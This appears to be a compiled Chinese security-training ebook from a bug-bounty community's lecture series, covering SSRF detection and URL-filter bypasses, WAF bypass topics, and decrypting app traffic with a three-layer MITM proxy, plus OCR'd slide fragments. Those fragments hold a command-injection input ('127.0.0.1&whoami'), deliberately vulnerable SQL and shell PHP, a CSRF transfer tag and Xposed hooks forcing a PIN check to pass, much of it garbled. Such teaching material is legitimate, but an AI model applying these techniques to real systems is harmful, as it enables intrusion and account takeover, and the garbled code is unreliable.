  你可以直接右键图片，在新窗口打开图片，如果是浏览器上URL地址栏是http://www.baidu.com/img/bd_logo1.png，说明不存在SSRF漏洞。


  排除法二：


  你可以使用burpsuite等抓包工具来判断是否不是SSRF，首先SSRF是由服务端发起的请求，因此在加载图片的时候，是由服务端发起的，所以在我们本地浏览器的请求中就不应该存在图片的请求，在此例子中，如果刷新当前页面，有如下请求，则可判断不是SSRF。（前提设置burpsuite截断图片的请求，默认是放行的）


  


  [image: ]


  


  此处说明下，为什么这边用排除法来判断是否存在SSRF，举个例子：
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          1

        

        	
          http://read.*******.com/image?imageUrl=http://www.baidu.com/img/bd_logo1.png

        
      

    
  


  现在大多数修复SSRF的方法基本都是区分内外网来做限制（暂不考虑利用此问题来发起请求，攻击其他网站，从而隐藏攻击者IP，防止此问题就要做请求的地址的白名单了），如果我们请求 ：


  
    
      
        	
          1

        

        	
          http://read.******.com/image?imageUrl=http://10.10.10.1/favicon.ico

        
      

    
  


  而没有内容显示，我们是判断这个点不存在SSRF漏洞，还是http://10.10.10.1/favicon.ico这个地址被过滤了，还是http://10.10.10.1/favicon.ico这个地址的图片文件不存在，如果我们事先不知道http://10.10.10.1/favicon.ico这个地址的文件是否存在的时候是判断不出来是哪个原因的，所以我们采用排除法。


  2）实例验证


  经过简单的排除验证之后，我们就要验证看看此URL是否可以来请求对应的内网地址。在此例子中，首先我们要获取内网存在HTTP服务且存在favicon.ico文件的地址，才能验证是否是SSRF漏洞。


  找存在HTTP服务的内网地址：
 一、从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
 二、通过二级域名暴力猜解工具模糊猜测内网地址


  [image: ]


  
    
      
        	
          1

        

        	
          example:ping xx.xx.com.cn

        
      

    
  


  可以推测10.215.x.x 此段就有很大的可能： http://10.215.x.x/favicon.ico 存在。


  在举一个特殊的例子来说明：


  
    
      
        	
          1

        

        	
          http://fanyi.baidu.com/transpage?query=http://www.baidu.com/s?wd=ip&source=url&ie=utf8&from=auto&to=zh&render=1

        
      

    
  


  


  [image: ]


  


  


  此处得到的IP 不是我所在地址使用的IP，因此可以判断此处是由服务器发起的http://www.baidu.com/s?wd=ip 请求得到的地址，自然是内部逻辑中发起请求的服务器的外网地址（为什么这么说呢，因为发起的请求的不一定是fanyi.baidu.com，而是内部其他服务器）,那么此处是不是SSRF，能形成危害吗？ 严格来说此处是SSRF，但是百度已经做过了过滤处理，因此形成不了探测内网的危害。


  SSRF 漏洞中URL地址过滤的绕过


  1）http://www.baidu.com@10.10.10.10与http://10.10.10.10 请求是相同的
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  此脚本访问请求得到的内容都是www.baidu.com的内容。


  2）ip地址转换成进制来访问


  
    
      
        	
          1

        

        	
          115.239.210.26 ＝  16373751032
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  此脚本解析的地址都是 115.239.210.26，也可以使用ping 获取解析地址：


  


  [image: ]


  


  如果WEB服务简单的过滤参数中获取的URL地址，没有判断真正访问的地址，是有可能被此两种方法绕过的。


  


  第十期：浅谈SSRF安全漏洞 （PPT）


  



  本期【行长连线之大咖面对面】活动介绍


  


  本期议题：浅谈SSRF安全漏洞



  本期演讲大咖：Mat


  讲座时间：2016年2月17日 晚19：00


  讲座地点：漏洞银行官方技术1群（477761459）


  大咖介绍：


  高中生黑客，非专业计算机，对Web安全有很强烈的兴趣。自谦为小白一枚，希望自己本次带来的分享能给大家带来收获。


  


  注：


  讲座问答环节的内容已记录在讲座视频中。讲座视频已上传【漏洞银行官方技术1群】群文件，欢迎有需要的小伙伴下载。


  


  


  大咖分享内容
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  议题征集
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  第十期：浅谈SSRF安全漏洞（视频）


  http://www.bugbank.cn/q/detail/58aec8fddf6ac5bb7bea122a.html


  第十一期：绕过安全狗、云锁等各大WAF注入，上传深入自动化Bypass攻击（PPT）


  本期【行长连线之大咖面对面】活动介绍


  本期议题：绕过安全狗、云锁等各大WAF注入，上传深入自动化Bypass攻击


  主讲大咖：倾旋


  难度系数：3颗星


  讲座时间：2016年2月24日 晚19：00


  讲座地点：漏洞银行官方技术1群（477761459）


  大咖介绍：


  安全从业者，热爱研究。从PHP程序猿转到安全圈，科拉实验室成员。目前团队发展良好，已获得各大安全厂商感谢，致力于为更多的安全产品做漏洞发掘。


  


  


  大咖分享内容


  1. 课程提纲


  


  【1】团队口述简介


  【2】一个简单的SQL注入->Web服务器的特性（稍稍打开脑洞）


  【3】讨论拦截规则（正则表达式）-> 文件上传绕过


  【4】普通注入->定位拦截点->动脑绕过


  【5】介绍自动化工具，浅谈FUZZ Bypass


  【6】展示已写好的payload，开始构造payload


  【7】跑一跑，（安全狗、云锁）POC简单概述


  【8】总结


  2. 【PPT】内容
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  PPT内容请配合配套【视频】一起学习哦


  配套视频请见【大咖面对面】官方账号的前期推文


  第十一期：绕过安全狗、云锁等各大WAF注入，上传深入自动化Bypass攻击（视频）


  http://www.bugbank.cn/q/detail/58b3a25685f095990d4a5487.html


  第十一期：绕过安全狗、云锁等各大WAF注入，上传深入自动化Bypass攻击（回访）


  


  议题介绍


  【行长连线】之【大咖面对面】


  第十一期


  



  议题：绕过安全狗、云锁等各大WAF注入


  上传深入自动化Bypass攻击


  本期大咖：科拉实验室——倾旋


  

  本人是安全从业者，热爱研究，从PHP程序猿转到安全圈，目前团队发展良好，已获得各大安全厂商的感谢，我会为更多安全产品做漏洞发掘。


  希望本次分享能给大家带来收获。



  

  


  大咖回访


  Qiu秋：非常感谢倾旋在“大咖面对面”之后，抽空参加了我们第一次的大咖回访。首先想问问倾旋，自己对上周五晚上的表现还满意吗？


  倾旋：表现还不错，讲了大概两个小时吧。技术点不是太零散，还好准备充分（笑）。感觉大家也吸收了不少，因为课下有朋友与我交流问题。这也让我对于知识点理解越加透彻，后期我将会在该领域继续深入。


  Qiu秋：确实，倾旋这次破了“大咖”分享的时长记录。群里小伙伴们的反响也特别好，纷纷表达“大咖讲得很细致”。除此之外，在参与“大咖面对面”过程中，除了“授业”之外，你还感到自己有了额外的收获？


  倾旋：这个必须的嘛，认识了那么多朋友，也给我了很多建议，这条路上最缺的就是志同道合的朋友，毕竟一直以来，在路上，需要伙伴。


  Qiu秋：那真是太棒了！我在听讲的时候，感觉你的吐字非常清晰，语速也不是太快，很好接受。请问你是第一次公开当讲师吗？之前是否有过类似经历？


  倾旋：不是第一次讲了，在此之前我一直在科拉实验室做公开课之类的分享，每天都要讲，所以讲的多了也比较有经验，毕竟还年轻，需要多多锻炼，交流甚是重要。


  Qiu秋：原来是一位有经验的大咖~很认同你的观点，乘着年轻多去尝试，丰富人生阅历是很好的。


  下面来聊聊讲座吧！你觉得本次讲座的技术难点在哪里？


  倾旋：难点就是在定位特征的时候需要花费大量工作，所以我是把结果共享出来的，也给大家提供了思路，课下也有朋友想复现我的研究过程，也遇到不少环境问题，贵在坚持，积累经验。


  Qiu秋：那之后有小伙伴们遇到问题的话，是不是也可以再找你交流？


  倾旋：当然没问题的，尽我所能，但是某些问题能够自行解决就自行解决，坚持那么一下下，可能就解决了，搜索引擎也要多用。追求技术的心态最好要摆正。


  Qiu秋：满满的正能量，所谓“实践出真知”，那针对本次讲座内容，如果有新人想要了解，你建议从何学起呢？


  倾旋：最好是能够把“Web模型”的关系搞清楚，这个在分享的视频里有提到过，搞清楚模型你的方向就根本不会乱，其次就是掌握一门编程语言即可，后面的就剩实践想法了。


  Qiu秋：给力~相信小伙伴听到你的建议会找到些门道。倾旋加入“大咖面对面”的发源地——漏洞银行技术1群也有段时间了，能说说你对本群的感受吗？


  倾旋：气氛比较活跃，并且分享的技术和话题都很棒，每一个行长也挺积极，对于分享技术的大咖都很尊重和感谢，这是我感觉最开心的。


  Qiu秋：感谢倾旋的认可，也很感谢群里每一位小伙伴的付出，大咖与行长们的互相促进正是开办线上讲座的本心。最后想问问倾旋还有没有想对大家说的？


  倾旋：漏洞银行对于白帽子来说确实是一个很好的交流平台。每一次轻分享或“大咖面对面”都少不了群内行长、大咖和管理妹子们的努力，大家的表现还是很不错的，我很愿意一直入驻漏洞银行，做一个杰出的大咖。


  



  我已经打破了最长分享时间的记录，接下来会挑战更多的不可能，其次最主要的还是让大家吸收更多的知识。


  



  最后，感谢大家，感谢漏洞银行。


  Qiu秋：感谢倾旋的支持（害羞），最后我也再次代表漏洞银行及群内的小伙伴们感谢你做客“大咖面对面”，相信你的分享让不少人得到了提升。予人玫瑰，手有余香！


  

  如果你也想加入，成为“分享者”及“学习者”



  赶紧加入【漏洞银行技术1群】吧


  群号：477761459


  第十二期：使用SET进行钓鱼网站制作和邮件钓鱼（暂未更新）


  第十三期：mysql-root全手工注入写马实例实战（视频）


  http://www.bugbank.cn/q/detail/58c3beba51c325a54fa73837.html


  特邀嘉宾：加密场景下的一种测试方法


  [image: ]


  嘉宾分享以“解密”为主打，面对APP测试中“签名”和“加密”数据包，如何通过多种方式还原明文？特邀嘉宾分享独家渗透秘诀，解析渗透测试中鲜为人知渗透技巧！



  前言


  之前在漏洞银行做的一次分享，本着有始有终的想法，整理成文档。希望能给大家的思路带来一点启发。


  今天我们要说的，是在加密场景下的一种测试方法。在我们平常做测试的时候，特别是APP测试，非常实用的一种方法。


  


  0x00


  正常的APP访问，是APP直接和Web服务器进行通讯，这整个过程中的流量我们是不知道的。



  [image: ]而当我们做测试的时候，为了能够捕获到中间的流量，我们会架设一层代理，这里以Burp为例。


  这样的话就构成了如图所示的场景——APP的流量会经过Burp，Burp对数据包进行记录，再将数据包发送给Web服务器。Web服务器的请求返回之后，同样会先经过Burp。Burp把这个返回结果记录下来，同时发一份给APP。
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  这样的场景下，我们通过Burp成功拦截了流量，我们可以对数据包进行实时的修改，进行各种漏洞的测试。


  上文所述的场景非常理想化，在实际的测试中，我们发现实际上我们经常会遇到两种窘境。


  


  0x01


  第一种情况是，我们发现我们无法修改拦截下的数据包。


  我们对数据包进行修改之后，服务器返回的信息，要么是服务器异常，要么是数据包无法通过校验。


  这是为什么呢？


  通过查看代码发现，APP对数据包进行了签名。APP对参数列表进行了哈希操作，将哈希值写进了数据包里。当我们更改了数据包的参数值之后，哈希值与参数值不匹配，自然无法通过Web服务器的校验。


  第二种情况是，代理拦截的信息我们完全看不懂，或者是乱码，或者是看起来像base64的编码，但是用base64解出来的依旧是乱码。这种场景就是非常典型的加密场景，也是目前运用越来越广泛的场景。


  在此场景下，APP的请求在发出之前，都会有一个加密的操作。而这些加密的请求到达Web服务器的时候，会有相应的函数进行解密。


  而Web服务器返回请求的时候，要分为两种方式进行探讨：


  



  一种方式是，服务器返回的请求不再进行加密，直接明文返回。另一种是，服务器在返回请求之前也进行一次加密，这样返回的也会是密文。


  实际测试中，面对这两种情况，我们即便在中间架设了代理，也无法进行任何的实际操作。
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  所以，接下来要探讨的，就是解决这个窘境的一种方法。


  


  0x02


  在测试过程中，我们需要达到的效果就是可以实时对数据包进行修改，从而进行各种测试。阻碍我们的就是APP的签名和加密。


  那么我们的第一条思路就是，是不是能够hook掉加解密的函数，这样所有往来的流量就都是明文。我们就可以在中间拦截到明文的请求，再明文发送给服务器。
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  思路进行到这里，我们就遇到了第一个疑问。


  



  那就是——在hook掉加解密函数之后，明文传递给服务器的请求，是否能够被服务器接受并处理？


  



  经过实际的测试发现，有部分对低版本做了兼容的APP会有两套逻辑。当接受的请求是明文的时候，会直接处理。当接受的请求是密文的时候，又会执行另一套密文的逻辑。


  注意，是“有部分”。


  这样这个方式就不太通用，存在不成功的风险。


  当然hook的方式也有它的可取之处，也可以与我们下面要讲的办法做出结合，这里暂且不提，先来讲解我所总结出的方法。


  


  0x03


  那现在就到了我们今天要讲的一个框架，就是使用三层代理来做中间人的劫持。


  上文提到，APP到Burp再到web服务器，中间会存在签名或者加密操作，使我们对数据包进行修改。


  那么我们希望达到的效果是，通过Burp可任意的进行编辑，并且这个结果能够正确地被服务器处理。


  那么我们就可以搭建这样一个框架：
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  首先，APP发出请求，经过第一层代理做一个解密的操作，就把加密请求，还原成了明文。然后，第二层代理就可以捕获一个完全明文的request，那我们可以对这个请求进行任意的编辑。接着，编辑好的请求发送给第三层代理，第三层代理收到request之后，先进行加密，再发送到Web服务器。


  这里采用与APP完全一致的加密方法，所以能够被Web服务器正常地执行。Web服务器处理完成之后，再把这个数据包进行加密，密文再经由第三层代理先做解密，解密出一个明文response，这一明文的响应继续发给第二层代理（Burp），而我们可以通过第二层代理查看这一相应或进行更进一步的操作。


  最终明文响应会回到第一层代理。第一层代理对这个响应做加密操作之后再发给APP。APP会对这个数据进行解密，解密完以正常逻辑进行处理。


  整个流程就是这样架构的。


  


  接下来剖析这一流程里的细节点：


  



  首先就是第一层代理和第三层代理加解密需要使用的两个脚本。


  第一层代理的脚本，是先对进来的数据包进行解密，再对返回来的响应数据包进行加密。


  



  第三层代理的脚本，是先对进来的数据包进行加密，再对响应的数据包进行解密。


  那么这两个脚本从何而来？


  


  对这个APP 进行反编译，去了解到APP相应的加解密算法。


  现在比较流行的算法是RSA的算法和3DES算法，需要去反编译得知究竟是什么样的算法。同时要得到相对应的秘钥，这样才可以在这个过程中进行实时的加解密。


  当我们拿到这个秘钥之后，一方面我们可以自己去实现相对应的加解密的算法，另一方面也可以去调用一些公开的库做一些相应的配置。拿到相应加解密请求的处理方法。


  


  而第一层和第三层代理，各位可以选择自己比较熟悉的中间人的框架。这里个人推荐大家使用MITMproxy，基于python方便各位自己去写一些脚本做相应的处理。


  


  这里插入一下前文提到的hook的方法，对应的我们可以把第一层代理给去掉，用hook的方式把加解密的代码处理掉，APP出来的请求是明文，回来的也是明文，加解密便透明化了。


  


  但是如果我们采取这种方式的话，首先需要能够hook 这个APP，同时还要有相应的root操作。


  这样，这个方法就没有三层代理的框架更通用，所以我个人更加偏向于用三层的代理。


  只需要在APP端设置相应地址的代理，把相应的请求路由到第一层代理，中间就可以得到明文做相应的操作，我们实际去测的时候就发现，完全可以达到实时解密的效果。


  


  下面简单讲一讲就是关键的几个参数怎么去设置。


  [image: ]


  当我们写好脚本之后，第一层代理需要使用-U这个参数。通过这个参数，我们可以把相应的包转发给Burp开启的代理，同时在burp里面有相应的一个选项设置可以设置下一层代理。


  我们把这一层的代理设置到第三层代理监听的端口，这样我们整个流程就通了，这样我们就达到了实时去修改数据包的这样一个效果。


  最终可以看效果图，一是没有使用三层代理之前，我们通过burp的看到的就是完全就是加密的数据包。二是我们使用了三层代理之后，在Burp看到的是已经解密好了的请求跟响应。
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  行长问答


  以下内容为嘉宾分享后群内“提问环节”：


  1、apk 反编译怎么弄？


  答：使用dex2jar+jd-gui或者apktool


  2、第一次代理加解密有两种方法是吗？


  答：是的，可以加解密，也可以hook掉app的加解密，直接看明文


  3、反编译的方法


  答：（见1）


  4、能不能用apktool反编译？


  答：可以


  5、一个是反编译，一个是用MITMproxy？


  答：反编译主要是去找到app使用的加密或者签名的算法，mitmproxy是我们可以去做透明加解密的地方


  6、有没有逆向方面的教程推荐？


  答：可以看一些android的基础，然后再找一些书或者教程，我记得有一本android反编译方面的书


  7、能写成BP插件的形式吗？


  答：可以的


  8、MITMproxy怎么弄呢？


  答：pip install mitmproxy 安装的时候注意版本


  9、想问下如何寻找加解密算法进行反编译？


  答：先反编译，看看能否找到一些加解密的函数，如果不好找的话，就找发送http请求的代码，在那边比较容易找到相关的，或者搜索一些关键词


  10、能否反汇编解密看明文？


  答：反汇编之后你可以看到加解密的地方，一种是你可以直接hook掉函数，明文输出来看


  11、hook掉原api之后，发送到服务器的也是明文，而其原本接受密文，怎么样保证服务器能返回消息？


  答：这个就是我说的一种情况，这样就需要再加一层代理，就是我们这里的第3层代理来做透明的加解密，或者还有一种情况，是服务器低版本兼容，可以处理这种明文的情况


  12、能不能通过更改dalivk字节码的防止hook？


  答：可以写到so文件里面，这种hook难度更大


  13、（接12）写进so之后，只要在Python调用so库就可以了吗


  答：和python没关系的


  第十四期：源代码审核（视频）


  http://www.bugbank.cn/q/detail/58ccf5b3f1ace09a23cd7c73.html
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Amay ([0]=>1[1] => admin [2]

Name: admin
Password: 123456

123456 [3] => test@mail.com )
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@override
protected void afterHookedHethod(MethodHookParam param)

/7

throus Throwable {
XposedBridge. Log ("

/*for(Object arg: param.args){

-package

Xposedaridge. log(lpparam. packageliane+” method "+arg.tostring());

»

//xposedsridge . log(1pparan. packageliame+" method "+param.args[0]);

Xposedsridge. Log ("
“uper . sftertiookednethod

~output-

+ param. getResult());
param).

param. setResult(true);
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/public/Class/Authen.class.php

public static function checkUserLogin() {
$_0bj = M("user™);
if (empty(§_COOKIE['userId'l) ||
empty (§_COOKIE('AuthenId'])) {return false;}
$sql="select password from ".§_Obj->table.” where
-$_COOKIE['userId"
Sinfo = §_Obj->query (Ssal) s
if (lempty($_COOKIE['AuthenId']) &&
mds ($info[0] [password] .Config: :get ("anthenKey"))
$_COOKIE['AuthenId']) {
return true;

3
return false;
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function GetrIp()

1l

£ (1empty (5_SERVER("HITE_CLIENT_12"]))
(

1
else if(lempty(s_SERVER["HTTE ¥ FORWARDED FOR"]))
t

)
else if(lempty(s_SERVER"REMOTE_ADDR']))
¢

Scip = $_SERVER["HTTE_CLIENT 18]

Scip = §_SERVER["HTTE X FORWARDED FOR"];

$cip = §_SERVER["REMOTE ADDR"1:

else
«

| scip= '
)

return scip:
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eoverride|
protected void beforeHookediethod (MethodHookParam param)

throus Throwable {
XposedBridge. Log("~--befor
+ 1pparam. packageliame) ;
for(0bject arg: param.args){
XposedBridge. Log(1pparan. packageliame+" method "+arg. toString());
}

Xposedsridge. Log("~

+ param.args);

super. beforeHookedHiethod (param)

/1 XposedHelpers. calltethod (param. thisObject  param. args[0]);

}
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Ping a device
Enter an IP address: 127.0.0.18&whoami 7 suomic

E# ping 127.0.0.1 A 32 FHNMM:

8 127.0.0.1 WEN: FH-32 Miilcins 171128
KB 127.0.0.1 WENE: FH=32 Mii<ins TTL-128
KB 127.0.0.1 WEHE: FH=32 Miil<ins TTLo128
HE 127.0.0.1 WEME: FH=32 Hiil<ins TTL-128

127.0.0.1 # ping IS
Wi DRX - 4, DEK - 4, Bk - 0 (08 BK),
RN QD HR)
RS = ons, BK = ons, T = ons
Bt authority\systen
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XSS I (1) By 115

String title = request.gatParamater(“title”);
‘Stringid = request. getParameter(“id");
S it >
S

String ttle = request.getParameter( “title” );
Stringid = request.getParameter( “id" );

5. HtmlEncoder(title,” HTML )%> </span>
xss.HtmlEncoder(contect” HTML" )3%></span>
ERONDIESE RIS
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galx. if (§dopost=='makeold')

{

set_time_limit(3600);

if (T£ile_exists(sm_file))
= {

AjaxHead () ;

echo "EEE L HAFFEE
exit();

1

($m_file)
if(Scfg_tamplate_rand:
= {

AjaxHead () ;
echo "FH
exit();

FF R SCVFRENURIR B IA ! ;

}
StotalMmp = count($cfg tamplate arr) - 1;
if( StotalTmp < 1 )
5 {

Ajaxkead () ;
echo "FEHLEREIHE LA A2 PR
exit();






OEBPS/Images/1d6be1c517e2e92c69405deb51a04872.jpg
A LSV, D
(%] BzoxE % notz686CATI I 904b30934 ¢ Ccode 110005, "ns
%", data"inull>

(*] 1:stan S R 1449E 5 CMcode ;10085
" P%‘Sﬁ&i&ﬁw& . -
l-) 2: jianz g - W 891£84e7h 3 C“code":10005,

HEDHIR", dan -

e ———

6ah24e L ead2fcfc648 © (“cod
aull>

(%] S:luju e
HEIIEIZ", "data"





OEBPS/Images/c11ceb7d31e6728b875d0d323923cf5c.jpg
|21 CSRFMLi 471

“bank com¥H#Ei RHcookie SMRING , i TEcookie SHUBR , BFHIE
bank comBERLL] EAZHENBRNBEEEHER (HINIGmailRIRemember me

on this computer ) ,

“535h , bank.com EAMSEATILSIT et B EATRENRIEH , 5130 ¢

“http//bank.com/transferdo?acct=Alice&amout=1 , REEBobSRFH A MR , Bt
REEAlCeRHIT.

TEAlice RiEHEBob— A , BB FIERITE

~<img st

*hitp://bank.com/transfer.do?acct=Alice&amount=100° width= 0"
height= 0" border="0">

+24BObITFFABAY , M FAIEIX MEBAHTMURS SE MBI BISRK 1007 Alice,





OEBPS/Images/743ba9e688116c8adb19d271056dae9f.jpg
| e re—somtmz

/| Hookmte:

APP

Je==

1
| =
BURPSUITE |

Web Server

I
(== ]






OEBPS/Images/180e6a50b70aa5bf738dae18173afc58.jpg
BERREBEREERERERIEEYY






OEBPS/Images/637e189081435bc6ee0b622cee05ac9e.jpg
Cora
Lahortory





OEBPS/Images/25058293b3dbc1230afcedff23d1cdbf.jpg
CDN

P





OEBPS/Images/7cf691d2ed43433e0df5033a2ab61758.jpg
>frida-ps -R

63
657
803

1142

1168

1676
936
861
265
572
285

1117
951
598
619

1898

adhd
android.process.acore
android.process.nedia
con.android.calendar
con.android.deskelock
con.android.dialer
con.android.email
con.android.exchange
con.android.externalstorage
con.android. inputnethod. latin
con.android. launcher
con.android.nns
com.android.nusic
con.android.phone
con.android.printspooler

R P R W e





OEBPS/Images/280daeb8d37422768574693a295ad47b.jpg
L






OEBPS/Images/48b4d2305ca200e338962e3f911edbaa.jpg
SQL Injection Source

<t
Le( tosor( 5_mmquEST( “subate’ 1) )

1/ chack. datavase
Squery = SELECE ficet nass, last_nase FRON users WHERE user ld = '$id’i";
STosalt = mysql_query( Sauecy ) o die( <pres. . mysql.error() . '</prer’ )

17 Gt zesures
Snum = mysal mumrowa( Sresult )
bt
white( 8 < snum ) {
77 Got vatues.
Seizat - sysql_cosult( Sresuit, 5L, “eirst sase” )y
Slast - mysqlresule( Sresult, 51, “last hame’ )i

17 vondback tox end uaer
ocho <pre>ID: (sid)<be />First nanes (Stirst)<br />Surnase: (Slast)</prer’;
17 10crease Loop count
st

)

aysql_closa();
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W typo’s u’send’. wpayload’: 1>
(%1 Testing PIN 1
Weype’: u'zend’, wpayload’: 3>
(%] Testing PIN 3

w’type’: u'send’, wpayload’: 2>
(%1 Testing PIN 2
W type’: w'zend’. u’payloa
(e] Testing PIN 2.
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Foanse K

Hi5FEE/] : Hacking Metasploitable 2

http://wwwyoutube.com/watch?v=jDgmE
Y_3zY&ut=1625s&index=3&ist=PL17Q7Iw
655hICNN1pVIKFR4BAMXBQPRAD ( AT M
2/\EI5855 )
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D:\android>pip install frida
Llecting Frida
Using cached Fride-8.2.9.2ip
Requirenent already satisfied Cuse —upgrade to upgraded: colorana><8.2.7 in di
python27\1ibs ito-packages CFrom frida>

quirenent already satisfied Cuse —upgrade to upgrade): prompt-toolkit>=9.57 i
d:\python2?\1ih\e ite-packages (Fron Frida>
quirenent already satisfied (use —upgrade to upgrade): pygnents>-2.8.2 in d:

ython27\1ib s ite-packages (Fron Frida>
Requirenent already satisfied Cuse —upgrade to upgraded: six>=1.9.8 in d:\pythol
27\1ib\site-packages (Fron prompt—toolkit>=8.57->frida)

quirenent already satisfied Cuse —upgrade to upgrade): vewidth in d:\python2
NLibsite-packages (Fron prompt-toolkit>=8.57->frida)
lInstalling collected packages: Frida

Running setup.py install For frida

hsepndille Artalist foilinsg 5.9
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if(isset(SarcID)) $aid = SarcI]
SarcID = $aid = (isset(Said) && is_numeric(Said) ? Said : 0);
Stype = (lisset(Stype) ? "" : Stype); //ME#Stype

//EBCIS S B
oy

if (Saction:
¢
if (Stype=='sys')
1/ BRI TR ARED
) else {
SarcRow=$dsql->Getone ("SELECT s.*,t.* FROM

*#0__member_stow' AS s LEFT JOIN ‘#@_member_stowtype'
AS t ON s.typ:

s.type='Stype

.stowname WHERE s.aid='Said' AND

"y /X BIEREN
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Loading Xposed v54 (for Zygote)...
Running ROM ‘Droid4X-WIN 4.2.2 JDQ39E eng.work 20
Loading modules from /data/app/com.Iv.xhook-2.apk
Loading class com.v. Tutorial
we are in:com.github.orangegangsters.lollipin
---before---:com.github.orangegangsters. ollipin
com.github.orangegangsters.lollipin method 7xn7@c$6
params---: [Ljava.lang. Object;@534e7374
package---: com.github.orangegangsters.lollipin
output---:69e34c1482cce5e] 752d94e19368c83344
we are in:com.github.orangegangsters lollipin
---before---:com.github.orangegangsters.lollipin
com.github.orangegangsters.lollipin method 7xn7@c$6
params---: [Ljava.lang.Object;@53513728
package---: com.github.orangegangsters.lollipin
output---:69e34c1482cce5e1 752d94e19368c83344
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<?php

$conn - nysql_connect ‘localhost", root’, ‘root');
mysql_select_db("test",
#mysql_que Y nect
mysql_query("SET NAMES 'gbk™, $conn);
$uid = addslashes($_GET['id']
#$1d = $ GET['id'];

#suid = adnin_sql($1d);

#suid = $ GET['id

$sqL = "SELECT « FROW userinfo where id<'Suid"™;
$result - mysql_query($sql, $conn);

print_r($sql. ‘<br />');
print_r(mysql_fetch_row($result));
print_r(nysqlerror());

$num = mysql_nunrows( $result );

$io=0;

while( $i < $num ) {

$name - mysql_result( $result, $i, “username" );

$Spass = mysql_result( $result, $i, "password” );

echo "<pre>Name: {$name}<br />Password: {$pass}</pre>";
$io

}

mysql_close();

>

gbk, character_set_result
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package com.github.orangegangaters.lollipin.1ib. SSNGEES:
aport androtd.app. Accivicy;

public class AppLocklmpl<T extends AcolockActivicy
extends Aoalock
isplesents Lafeycialntertace

Private static final String LAST ACTIVE MILLIS PREFEREICE_KEY = “LAST_ACTIVE MILLIS™:
private static final String 1060 Ib PREFIRENCE KEY = “L0GD_ID_PREFERENCE_KEY";

private static final String PASSIORD PREFERENCE KEY = “PASSCODE":

Private static final String PASSIORD SALT = "TxAT8CE;

Private static Tinal String SS08_FORGOT FREFERENCE KEY = “SHOW_FORGOT_FREFERENCE KEY™
Public static final String TAG = “AppLockIspL":

Private static final String TINEOUT MILLIS PREFERENCE XEY = "TIMEOUT MILLIS FREFERENCE KEY";
private Classcl> mActivicClas:

private Sharedbreterences sSharedireferences;

Public Applockispl (Context paranContext, Classcl> pazeaClass)
[
this.aSharedereterences = PreferenceManager. getOefaultSharedbreterences (parasContext)
this sAccivicyClass = pazasCiass:
)

Public boolean checkPasscode (String parasstring)
0
Steing str = Eacryptor. getSEAL(Tan8ci" + paramString + “Txa7Eei)
parasScring =
L (his.sSharedéreferences. contains ("EASSCODE™)) (
ParamString = this.mShacedPreterences.getString (*PASSCODE
'
retumn sur.equalslgnoreCase (paranstring) ;
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isport android. cext. TexcOtils;

public class Encryptor

t

private static String bytesoiex(byte(] parasrrayofSyce)
i
String seet = v
int 4= 0
i€ (1 < paramArrayofByre. length)
0
String str2 = Integer. tolexString(parasArrayOfByte(t] & OX¥F);
AC (str2.lengeh() == 1) ()
for (surt = suzl + 707 + s
(
L
brea:
)
)
retum strl.toloverCase (Locale. ENGLISH);

strt = sert 4 ez

Il

public static String getSEAL(String parenstring)
t
A€ (TextUtils.istspty(parssString)) {
retum null;
)
oy
0
MessageDigest localMessageDigest = MeasageDigest. getInstanca("SHA-1°);
localtessageDigest. update (parasString.getBytes (), 0, parasString.length());
return bytesdfex (localiessageDigest. digest ()5

catch (Exception paranstring) ()
return pull;
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Az contex: = currentigplication.gecippiicationcontext ()t
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Low Command Injection Source

[<ore

|1£( 1sset( s _posT( 'susmit' ] ) ) {
// Get input
Starget = §_REQUEST[ 'ip' 1:

// Deternine 05 and execute the ping command.

if( stristz( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
Send = shell exec( 'ping ' . Starget );
olse {
1/ *nix
Scnd = shell exec( 'ping -c 4 ' . Starget );

}
1/ Peedback for the end user
echo "<pre>{send)</pre>";

|
>
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@override
protected void afterHookedHiethod(MethodHookParam param)
throws Throwable {
Xposedaridge. Log("---package-
+ pparam.packagefiane);
/*For(Object arg: param.args){
Xposedsridge. log(1pparan. packagellame+" method "+arg.toString());
¥/
7/xposedsridge. log(1pparan. packageNane+" method "+paran.args[0]);

Xposedsridge. Log("---output---:" + param.getResult());
11 super..afterHookedviethod (param) ;
/1 param.setResult(true);
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6.1.php

<?php

$b=1;
$a=array('b'=>'1");
extract($a);
print_r($b);

>
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